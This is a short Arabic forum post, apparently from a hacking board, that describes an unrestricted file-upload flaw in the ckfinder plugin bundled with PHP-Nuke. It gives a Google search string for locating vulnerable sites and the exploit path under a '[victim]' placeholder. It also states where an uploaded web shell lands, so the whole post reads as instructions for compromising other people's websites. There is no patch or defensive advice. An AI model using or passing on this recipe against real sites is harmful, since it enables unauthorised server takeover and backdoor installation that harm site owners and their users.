ثغرة في سكربت PHPnuke

ثغرة في سكربت PHPnuke نوع الثغرة (تمكنك من رفع شل على الموقع )

رابط السكربت :
PHP-Nuke

الإضافة المصابة:
ckfinder

البحث في جوجل :
Project By PHPNuke.ir

الإستغلال:

</SPAN>
<TABLE cellSpacing=1 cellPadding=0 width="90%" align=center border=0>

<TR>
<td>الرمز:</TD></TR>
<TR>
<td class=code>
Http://[victim]/path-to-nuke//includes/ckfinder/ckfinder.html

</TD></TR></TABLE>

عند رفع الشل تجده على الرابط التالي:
كود:

/includes/ckfinder/files/Filename ]

أسم الشل =filename

_________________

للشكاوي و الاقتراحات

mahmoud2424@yahoo.com